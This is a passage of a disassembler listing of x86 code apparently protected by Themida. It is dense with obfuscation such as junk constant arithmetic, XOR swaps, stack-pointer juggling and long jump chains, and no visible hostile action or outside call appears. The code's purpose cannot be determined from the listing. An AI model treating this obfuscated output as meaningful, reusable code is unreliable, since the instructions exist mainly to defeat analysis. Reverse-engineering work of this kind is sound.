[esp-4+arg_0] shl word ptr [esp-4+arg_0], cl pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- loc_564AF9: ; CODE XREF: Themida_:00570449j add eax, edi pop edi xchg eax, [esp] mov esp, [esp] mov ax, [esp] push ecx jmp loc_55C10A ; --------------------------------------------------------------------------- loc_564B0C: ; CODE XREF: Themida_:0056A6B9j mov esp, [esp] add [esp], eax pushf jmp loc_55E201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_564B18: ; CODE XREF: sub_56026A+9E2Aj sub ebp, 4 xchg ebp, [esp+10h+var_10] jmp loc_56B8C7 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561D98 loc_564B23: ; CODE XREF: sub_561D98+3209j mov [esp+0], eax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_561D98 ; --------------------------------------------------------------------------- loc_564B2B: ; CODE XREF: Themida_:0056D612j push esi mov esi, 558539C5h not esi add esi, 558539CAh add edi, esi mov esi, [esp] add esp, 4 push edx jmp loc_5706F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564B47: ; CODE XREF: sub_56755A-6F79j sub eax, 0C80FE5A2h sub [esp+0Ch+var_8], 28E73520h jmp loc_566F93 ; --------------------------------------------------------------------------- loc_564B59: ; CODE XREF: sub_56755A-2E5Bj movzx eax, al lea eax, [edi+eax*4] push ecx push 61D1h mov [esp+2Ah+var_2C+2], esp add [esp+2Ah+var_2C+2], 4 mov ecx, [esp+2Ah+var_2C+2] add esp, 4 push eax push 2346h mov [esp+2Eh+var_30+2], edi jmp loc_56902B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564B86: ; CODE XREF: Themida_:0055F877j push 35B3h mov [esp], edi push edx mov edx, 18765521h jmp loc_56FBD3 ; --------------------------------------------------------------------------- loc_564B99: ; CODE XREF: Themida_:0056BD3Dj mov [esp], ebx mov ebx, 4 sub eax, 0B693751h jmp loc_56675D ; --------------------------------------------------------------------------- loc_564BAB: ; CODE XREF: Themida_:005608B8j add esp, 4 xchg esi, [esp] pop esp add esi, ebx push dword ptr [esp] pop ebx add esp, 4 push esi jmp loc_56CAEF ; --------------------------------------------------------------------------- mov cx, [esp] push 776Dh mov [esp], edi push esp jmp loc_56325C ; --------------------------------------------------------------------------- loc_564BD3: ; CODE XREF: Themida_:00562AE8j and ch, 0ACh jmp loc_565D25 ; --------------------------------------------------------------------------- loc_564BDB: ; CODE XREF: Themida_:0056F024j mov [esp], ecx mov ecx, 869EA3AAh sub esi, ecx pop ecx sub esp, 4 mov [esp], edi push esi pop edi mov ebp, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx jmp loc_562F37 ; --------------------------------------------------------------------------- loc_564BFF: ; CODE XREF: Themida_:005621E2j xchg ebx, ebp not ebp add ebp, 6555F53Ah xor ecx, ebp jmp loc_565BB4 ; --------------------------------------------------------------------------- loc_564C10: ; CODE XREF: Themida_:00565D92j mov ebp, 390E5A28h xor ebp, 7AE223D5h neg ebp add ebp, 43EC7A01h add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 3DA0h mov [esp], eax push 1C09h push 1A1Bh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_55F112 ; --------------------------------------------------------------------------- loc_564C51: ; CODE XREF: Themida_:00567350j push 203h jmp loc_56CCF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_564C5B: ; CODE XREF: sub_55C719+A733j sub ebx, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi push eax push 0B3D4A08h pop eax push ebx mov ebx, 0F4C2B678h add eax, ebx pop ebx push eax sub [esp+0Ch+var_C], 220C7256h pop esi add esi, 220C7256h pop eax push 2919h jmp loc_5672E3 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_564C95: ; CODE XREF: sub_563973+7D7Dj xchg ebx, edx not ebx xor edx, ebx jmp loc_55EDB9 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_564CA0: ; CODE XREF: sub_56971C-D8D9j sub ecx, edx pop edx add edi, ecx pop ecx xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push ebp jmp loc_567AA4 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_564CB2: ; CODE XREF: sub_561C3A+7D50j add esp, 4 and edi, ecx push [esp-8+arg_4] pop ecx jmp loc_567D02 ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564CC0: ; CODE XREF: sub_56755A-98D9j mov ecx, 0C0C294F7h jmp loc_56AA04 ; --------------------------------------------------------------------------- loc_564CCA: ; CODE XREF: sub_56755A-32Ej xor [esp+30h+var_30], edi jmp loc_5605B6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_564CD2: ; CODE XREF: sub_56E89A-ED97j pop edi jmp loc_56CFE5 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_564CD8: ; CODE XREF: Themida_:0055E916j shr ebp, 6 jmp loc_55BF5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564CE0: ; CODE XREF: sub_56755A+1470j push 3C60083Eh mov ebx, [esp+34h+var_34] add esp, 4 shl ebx, 8 push ebx not [esp+34h+var_34] pop ebx push edx mov edx, 714D3D50h neg edx push 0 sub [esp+38h+var_38], edx pop edx dec edx shl edx, 1 not edx jmp loc_56F348 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564D0E: ; CODE XREF: Themida_:0055B6E3j mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 push 0BD4h mov [esp], eax push esi mov esi, 1A9F3DAFh mov eax, 1A9F3DABh xor eax, esi pop esi add ecx, eax mov eax, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add ebx, 156245A3h sub ebx, 21E12CB9h add ebx, 639E240Bh jmp loc_561FBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B274 loc_564D5C: ; CODE XREF: sub_56B274+6j sub ebp, 0FFFFFFFFh add ebp, 1 sub ebp, 5D540557h shl ebp, 2 xor ebp, 58716762h sub edi, ebp pop ebp push esi jmp sub_566FBB ; END OF FUNCTION CHUNK FOR sub_56B274 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564D7D: ; CODE XREF: sub_56755A+4F9Cj pop edi jmp sub_565269 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_564D83: ; CODE XREF: sub_569E65+636Ej add [esp+8+var_4], ebx pop ebx pop eax jmp loc_564089 ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564D8E: ; CODE XREF: sub_56755A-6F91j mov [esp+10h+var_10], esi push edi push 4C47108Dh jmp loc_563803 ; --------------------------------------------------------------------------- loc_564D9C: ; CODE XREF: sub_56755A+6BA6j pop ebp add ecx, edx pop edx jmp loc_56587F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5607D3 loc_564DA5: ; CODE XREF: sub_5607D3+15j xor edx, 7F15551Dh xor edx, 0D209F10h jmp loc_564016 ; END OF FUNCTION CHUNK FOR sub_5607D3 ; --------------------------------------------------------------------------- loc_564DB6: ; CODE XREF: Themida_:00570329j shl ebp, 6 neg ebp dec ebp sub esp, 4 mov [esp], esi mov esi, 49D7DBE7h sub ebp, esi pop esi xor edx, ebp pop ebp jmp loc_55C4AA ; --------------------------------------------------------------------------- loc_564DD5: ; CODE XREF: Themida_:0056675Fj add eax, 0B693751h jmp loc_55DC02 ; --------------------------------------------------------------------------- loc_564DDF: ; CODE XREF: Themida_:0056C19Cj sub dh, bl jmp loc_564A69 ; --------------------------------------------------------------------------- loc_564DE6: ; CODE XREF: Themida_:0055D00Cj add eax, esi push dword ptr [esp] jmp loc_56AC9D ; --------------------------------------------------------------------------- loc_564DF0: ; CODE XREF: Themida_:0056FF45j add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_560E0D ; --------------------------------------------------------------------------- lodsd jmp loc_5664D1 ; --------------------------------------------------------------------------- push edx jmp loc_5704E2 ; --------------------------------------------------------------------------- loc_564E10: ; CODE XREF: Themida_:0056DF02j sub edi, ecx pop ecx shr edi, 7 xor edi, 18D511Bh sub ebx, edi pop edi jmp loc_56FA07 ; =============== S U B R O U T I N E ======================================= sub_564E24 proc near ; CODE XREF: sub_56755A-4DF7j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C48B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055CB51 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055DFFE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005606FD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056613B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00569936 SIZE 00000012 BYTES sub esp, 4 jmp loc_55DFFE sub_564E24 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564E2C: ; CODE XREF: sub_56755A-8194j sub ecx, 0B8FCB9E3h jmp loc_56996E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564E37: ; CODE XREF: Themida_:0056B8C2j push esi mov esi, 6BD17A1Eh jmp loc_56DF5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_564E42: ; CODE XREF: sub_56B62C-DC2Bj add ah, 0A8h add bh, ah pop eax and bh, 86h jmp loc_55C8A3 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_564E50: ; CODE XREF: sub_560B67+BE8Fj inc edx jmp loc_56523A ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_564E56: ; CODE XREF: sub_56CEE9-B654j sub ebx, 4D7338D3h jmp loc_560A84 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push edx push 794Ah mov [esp], esi mov esi, 4 jmp loc_56B85C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_564E7B: ; CODE XREF: sub_56CB7D-CB72j push [esp+0Ch+var_C] pop ecx add esp, 4 push edx mov edx, 4 add edi, edx mov edx, [esp+0Ch+var_C] push ebp jmp loc_56DD9B ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564E96: ; CODE XREF: sub_56755A+476Dj push 310Ch jmp loc_55C0FD ; --------------------------------------------------------------------------- loc_564EA0: ; CODE XREF: sub_56755A+2D97j sub edi, 7E57F20h add edi, 50E7286Fh add edi, ebp sub edi, 50E7286Fh add edi, 7E57F20h pop ebp push ebx jmp loc_56B508 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564EC1: ; CODE XREF: Themida_:0056F523j pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_56DDFA ; --------------------------------------------------------------------------- loc_564ED1: ; CODE XREF: Themida_:005685A6j mov [esp], eax mov eax, 578B78E9h add [esp+4], eax push dword ptr [esp] mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_568541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564EFA: ; CODE XREF: sub_56755A+3FB6j mov edi, [esp+12h+var_14+2] jmp loc_562CCA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564F02: ; CODE XREF: Themida_:0056BA42j push 3F3Fh mov [esp], esp add dword ptr [esp], 4 pop edx push edx jmp loc_562265 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_564F15: ; CODE XREF: sub_5B3505-525D0j add esp, 4 add al, dl mov edx, [esp+28h+var_28] push ebx jmp loc_56B5BC ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569496 loc_564F26: ; CODE XREF: sub_569496-D52Bj xor [esp-4+arg_0], ah xor ah, [esp-4+arg_0] xor [esp-4+arg_0], ah jmp loc_56BF75 ; END OF FUNCTION CHUNK FOR sub_569496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564F34: ; CODE XREF: sub_56755A+2288j mov bx, word ptr [esp+12h+var_14+2] add esp, 2 jmp loc_562CFB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564F40: ; CODE XREF: Themida_:005643C3j push 13ADh mov [esp], ecx push ebx jmp loc_5673A6 ; --------------------------------------------------------------------------- loc_564F4E: ; CODE XREF: Themida_:0056735Fj mov bh, 1Dh or bh, 0CAh shl bh, 4 not bh and bh, 44h sub esp, 4 mov [esp], edx mov dh, 9Eh push edx not byte ptr [esp+1] jmp loc_56269D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564F6D: ; CODE XREF: sub_56755A-500Aj mov ecx, 4 jmp loc_561387 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564F77: ; CODE XREF: Themida_:0056212Dj push edx push dword ptr [esp+4] pop edx jmp loc_56BD51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FFC1 loc_564F82: ; CODE XREF: sub_55FFC1-33B8j pop ebx mov ecx, [esp+0] add esp, 4 pop ebx push 4DEFh mov [esp-4+arg_0], eax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_55FFC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561D98 loc_564F97: ; CODE XREF: sub_561D98+AA00j xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp jmp loc_564B23 ; END OF FUNCTION CHUNK FOR sub_561D98 ; --------------------------------------------------------------------------- loc_564FA6: ; CODE XREF: Themida_:0056CF4Bj mov di, 3F92h add si, di pop di jmp loc_55F785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564FB4: ; CODE XREF: sub_56755A+56D8j pop edx add eax, 2 jmp loc_563B0A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564FBF: ; CODE XREF: Themida_:0056DD11j not ebx dec ebx shl ebx, 1 jmp loc_55D28F ; --------------------------------------------------------------------------- loc_564FC9: ; CODE XREF: Themida_:00566199j sub al, dh push ecx mov cl, 52h add al, cl pop ecx add al, 17h mov edx, [esp] add esp, 4 sub al, 48h push cx mov cl, 41h jmp loc_56EAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_564FE4: ; CODE XREF: sub_560CAA-F71j pop ecx xor edx, 0AA0A008Bh add ecx, edx pop edx push 2DD6h mov [esp+8+var_8], edx push eax push 8C22749h pop eax sub eax, 8C22745h mov edx, eax pop eax sub ecx, edx pop edx jmp loc_5634AC ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- loc_56500D: ; CODE XREF: Themida_:00561A3Fj sub esi, ecx pop ecx push ebp mov ebp, 705634A5h jmp loc_565274 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56501B: ; CODE XREF: sub_56755A+3517j push 2ED0h jmp loc_560333 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565025: ; CODE XREF: Themida_:0056E01Fj pop edx add edi, ebp mov ebp, [esp] jmp loc_566F35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_565030: ; CODE XREF: sub_562F50-326Cj push 1D2Fh mov [esp+8+var_8], ecx mov ecx, 4 add eax, ecx pop ecx xor eax, [esp+4+var_4] xor [esp+4+var_4], eax jmp loc_5686C1 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56504B: ; CODE XREF: sub_56755A+74C4j pop edx push edi jmp loc_56EF9F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565052: ; CODE XREF: Themida_:0056B4E2j pop esp jmp loc_55B555 ; --------------------------------------------------------------------------- loc_565058: ; CODE XREF: Themida_:0056F8C5j push esi mov esi, 29BA4ACAh jmp loc_55CD2C ; --------------------------------------------------------------------------- loc_565063: ; CODE XREF: Themida_:0056A118j mov [esp], esi jmp loc_56A538 ; --------------------------------------------------------------------------- loc_56506B: ; CODE XREF: Themida_:0055F9D2j xor edi, 5C2F2E00h jmp loc_56EDC2 ; --------------------------------------------------------------------------- loc_565076: ; CODE XREF: Themida_:0056CC67j add esp, 4 push edi mov edi, 4C786AC7h jmp loc_5631B1 ; --------------------------------------------------------------------------- loc_565087: ; CODE XREF: Themida_:0055F180j sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_55F8A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_56509B: ; CODE XREF: sub_56CB1B-101D2j sub edx, 30AC0A58h push 361h mov [esp+8+var_8], edx jmp loc_566BF0 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_5650AE: ; CODE XREF: sub_56CB7D-16CFj mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp+14h+var_14] pop esp mov [esp+10h+var_10], eax xor [esp+10h+var_10], edx xor edx, [esp+10h+var_10] xor [esp+10h+var_10], edx jmp loc_5637C6 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_5650CB: ; CODE XREF: Themida_:00569886j xor ebp, 6DA1276h mov ebx, ebp push dword ptr [esp] pop ebp jmp loc_56089C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5650DC: ; CODE XREF: sub_56755A-7E7Fj sub edi, esi pop esi jmp loc_569948 ; --------------------------------------------------------------------------- loc_5650E4: ; CODE XREF: sub_56755A+756Aj mov ecx, esp jmp loc_56ED0B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_5650EB: ; CODE XREF: sub_561ED8+AB57j add esp, 2 jmp loc_56701F ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5650F3: ; CODE XREF: sub_56755A+8EC8j pop esp mov [esp+30h+var_30], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+30h+var_30] xor [esp+30h+var_30], ecx jmp loc_5706D8 ; --------------------------------------------------------------------------- loc_56510D: ; CODE XREF: sub_56755A-4D77j xor ecx, esi xor esi, ecx jmp loc_56E44E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_565116: ; CODE XREF: sub_56E75E-75D1j add esi, ebp add esi, 4BCD7A03h sub esi, 7DE026CEh push ebp mov ebp, 720104F5h push 3EEh mov [esp+0Ch+var_C], esi jmp loc_560916 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_565137: ; CODE XREF: Themida_:0056EE3Bj add eax, 3463696Ch add eax, ecx push ebx mov ebx, 3463696Ch jmp loc_56136A ; --------------------------------------------------------------------------- loc_565149: ; CODE XREF: Themida_:00564AC2j xor al, ch push dword ptr [esp] pop ecx add esp, 4 jmp loc_569578 ; --------------------------------------------------------------------------- loc_565157: ; CODE XREF: Themida_:0056B533j pop ebx shl eax, 1 push edx mov edx, 0FE1497A6h sub eax, edx pop edx sub ecx, eax mov eax, [esp] add esp, 4 mov ebx, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_56ACC9 ; --------------------------------------------------------------------------- loc_56517B: ; CODE XREF: Themida_:0055E851j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 6D22h mov [esp], edi mov edi, esp jmp loc_5626FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565199: ; CODE XREF: sub_56755A+1D2Aj mov [esp+8+var_8], edx mov edx, 68411962h or edx, 0C380158h shr edx, 3 jmp loc_5654C6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5651AF: ; CODE XREF: Themida_:0056F80Aj push edx mov edx, 5345729Ah xor edx, 5BE55140h dec edx add edx, 2C044C5h not edx sub edx, 0E4A92DC3h mov esi, edx pop edx inc esi neg esi inc esi jmp loc_563029 ; --------------------------------------------------------------------------- loc_5651D6: ; CODE XREF: Themida_:00565F11j sub eax, 3D4154A1h or eax, 35776E1Bh sub eax, 893936BEh jmp loc_55F0A2 ; --------------------------------------------------------------------------- loc_5651EA: ; CODE XREF: Themida_:005627CDj add eax, edi pop edi add eax, edx sub eax, 43300665h sub eax, 395C2775h pop edx jmp loc_56CF60 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] add dword ptr [esp], 0CFB07F2h push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 jmp loc_56B822 ; --------------------------------------------------------------------------- loc_56521E: ; CODE XREF: Themida_:0056DE63j pop eax shr eax, 4 xor eax, 4950044Ch add eax, 285E820Dh mov edi, eax pop eax jmp loc_569F02 ; --------------------------------------------------------------------------- loc_565234: ; CODE XREF: Themida_:0056C970j inc edx jmp loc_55E9B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_56523A: ; CODE XREF: sub_560B67+42EAj add edx, 0A271FA11h jmp loc_55C8B2 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565245: ; CODE XREF: sub_56755A+8BC0j xor ebx, [esp+8+var_8] mov esp, [esp+8+var_8] and eax, ebp push [esp+8+var_8] push [esp+0Ch+var_C] pop ebp add esp, 4 jmp loc_56CBF0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_56525F: ; CODE XREF: sub_56CD48+A9Fj mov ecx, 2FC146BBh jmp loc_55D703 ; END OF FUNCTION CHUNK FOR sub_56CD48 ; =============== S U B R O U T I N E ======================================= sub_565269 proc near ; CODE XREF: sub_56755A-27DCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055D15F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055E758 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056047B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00560EA6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005613D5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562C27 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00564370 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005660DC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005699AB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00569F5E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BBB2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056BFA7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056CF50 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EE7E SIZE 00000021 BYTES sub esp, 4 mov [esp+4+var_4], eax jmp loc_562C27 sub_565269 endp ; --------------------------------------------------------------------------- loc_565274: ; CODE XREF: Themida_:00565016j inc ebp jmp loc_5671B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_56527A: ; CODE XREF: sub_562F62+CF7Aj mov esi, 60EB0684h add esi, 57F0A4DEh xor edi, esi pop esi sub edx, 1CD21C44h sub edx, 10127B5Ah jmp loc_55C573 ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_565299: ; CODE XREF: Themida_:0056B7B9j xor edx, 569E2D60h jmp loc_55DC62 ; --------------------------------------------------------------------------- loc_5652A4: ; CODE XREF: Themida_:0056B9CEj pop edi and ecx, ebp pop ebp sub esp, 4 jmp loc_564932 ; --------------------------------------------------------------------------- loc_5652B3: ; CODE XREF: Themida_:0056CAF0j pop esi jmp loc_56046D ; --------------------------------------------------------------------------- loc_5652B9: ; CODE XREF: Themida_:005632B9j add edi, ebx pop ebx sub edi, 4 jmp loc_5689F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5652C7: ; CODE XREF: sub_56755A-7358j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+12h+var_14+2] pop esp jmp loc_55EA47 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5652DE: ; CODE XREF: Themida_:00562BEAj push edx mov edx, 2A3F596Fh sub edx, 0D703EBE9h add ecx, edx pop edx sub ecx, 341B50D8h add eax, ecx pop ecx add eax, 2E5F405Eh sub eax, 66F06647h add eax, ebp jmp loc_56D4D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565307: ; CODE XREF: sub_56755A-4B06j xchg esi, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] mov [esp+2+var_4+2], edx push 3246h mov [esp+6+var_8+2], ebx mov bh, al mov dl, bh pop ebx mov [edi+28h], dl push [esp+2+var_4+2] mov edx, [esp+6+var_8+2] jmp loc_569B7A ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56532B proc near ; CODE XREF: sub_56755A-81F8j ; FUNCTION CHUNK AT 0055EFBC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005636C3 SIZE 00000007 BYTES push ebp mov ebp, 53B94D47h jmp loc_5636C3 sub_56532B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_565336: ; CODE XREF: sub_5635DE+6197j push [esp+8+var_8] jmp loc_56CF0D ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56533E: ; CODE XREF: sub_56755A-1FDDj add edx, 4 add edx, 4 xchg edx, [esp+6+var_8+2] pop esp mov ecx, [esp+2+var_4+2] jmp loc_56BE4E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_565356: ; CODE XREF: sub_56D164-FB45j xchg ebp, [esp+4+var_4] mov eax, [esp+4+var_4] push 6594h mov [esp+8+var_8], ebp mov ebp, esp push ebx jmp loc_55BEE1 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_56536C: ; CODE XREF: Themida_:00566664j sub ebp, 11E97B9Dh mov edx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_565387: ; CODE XREF: Themida_:00564AA0j or edx, edi pop edi add edx, 0FFFFFFFFh push eax mov eax, 7DF87ED2h sub edx, eax pop eax add ebp, edx pop edx push 4504h mov [esp], edx mov edx, 2 add ebp, edx pop edx jmp loc_5692E2 ; --------------------------------------------------------------------------- loc_5653AE: ; CODE XREF: Themida_:0057065Ej not ebp and ebp, 13355A90h xor ebp, 59800862h push ebx mov ebx, 47F0089Ah jmp loc_56D5D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_5653C7: ; CODE XREF: sub_56A500-C7DEj mov edx, 4 jmp loc_567AF7 ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- loc_5653D1: ; CODE XREF: Themida_:0056D639j mov ecx, [esp] add esp, 4 or ecx, 5AC5672Ch push ecx not dword ptr [esp] pop ecx or ecx, 290706E6h xor ecx, 0B1C8A292h mov ebx, ecx pop ecx add esi, 76CA7A71h add esi, ebx jmp loc_55F49B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5653FE: ; CODE XREF: sub_56755A+2115j sub edx, 4 push edx push [esp+6+var_4+2] pop edx pop [esp+6+var_8+2] pop esp jmp loc_56E53D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565410: ; CODE XREF: Themida_:00561DABj add ebp, 4 sub ebp, 4 jmp loc_56944A ; 